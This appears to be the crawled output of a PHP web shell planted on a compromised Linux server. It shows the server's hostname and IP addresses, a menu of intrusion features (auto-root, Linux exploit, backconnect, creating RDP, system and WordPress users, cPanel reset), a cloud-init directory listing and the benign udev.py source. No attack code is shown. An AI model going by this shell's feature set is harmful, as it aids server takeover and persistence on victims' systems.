Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 3.145.88.104
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python2.7 /
site-packages /
cloudinit /
net /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.py
34.08
KB
-rw-r--r--
__init__.pyc
31.73
KB
-rw-r--r--
__init__.pyo
31.73
KB
-rw-r--r--
cmdline.py
8.63
KB
-rw-r--r--
cmdline.pyc
8.24
KB
-rw-r--r--
cmdline.pyo
8.24
KB
-rw-r--r--
dhcp.py
14.92
KB
-rw-r--r--
dhcp.pyc
13.38
KB
-rw-r--r--
dhcp.pyo
13.38
KB
-rw-r--r--
eni.py
20.69
KB
-rw-r--r--
eni.pyc
15.42
KB
-rw-r--r--
eni.pyo
15.42
KB
-rw-r--r--
netplan.py
15.79
KB
-rw-r--r--
netplan.pyc
13.26
KB
-rw-r--r--
netplan.pyo
13.26
KB
-rw-r--r--
network_state.py
33.71
KB
-rw-r--r--
network_state.pyc
34.37
KB
-rw-r--r--
network_state.pyo
34.37
KB
-rw-r--r--
renderer.py
1.87
KB
-rw-r--r--
renderer.pyc
2.66
KB
-rw-r--r--
renderer.pyo
2.66
KB
-rw-r--r--
renderers.py
1.35
KB
-rw-r--r--
renderers.pyc
1.46
KB
-rw-r--r--
renderers.pyo
1.46
KB
-rw-r--r--
sysconfig.py
34.31
KB
-rw-r--r--
sysconfig.pyc
25.94
KB
-rw-r--r--
sysconfig.pyo
25.94
KB
-rw-r--r--
udev.py
1.38
KB
-rw-r--r--
udev.pyc
1.72
KB
-rw-r--r--
udev.pyo
1.59
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : udev.py
# Copyright (C) 2015 Canonical Ltd. # # Author: Ryan Harper <ryan.harper@canonical.com> # # This file is part of cloud-init. See LICENSE file for license information. def compose_udev_equality(key, value): """Return a udev comparison clause, like `ACTION=="add"`.""" assert key == key.upper() return '%s=="%s"' % (key, value) def compose_udev_attr_equality(attribute, value): """Return a udev attribute comparison clause, like `ATTR{type}=="1"`.""" assert attribute == attribute.lower() return 'ATTR{%s}=="%s"' % (attribute, value) def compose_udev_setting(key, value): """Return a udev assignment clause, like `NAME="eth0"`.""" assert key == key.upper() return '%s="%s"' % (key, value) def generate_udev_rule(interface, mac, driver=None): """Return a udev rule to set the name of network interface with `mac`. The rule ends up as a single line looking something like: SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}="ff:ee:dd:cc:bb:aa", NAME="eth0" """ if not driver: driver = '?*' rule = ', '.join([ compose_udev_equality('SUBSYSTEM', 'net'), compose_udev_equality('ACTION', 'add'), compose_udev_equality('DRIVERS', driver), compose_udev_attr_equality('address', mac), compose_udev_setting('NAME', interface), ]) return '%s\n' % rule # vi: ts=4 expandtab syntax=python
Close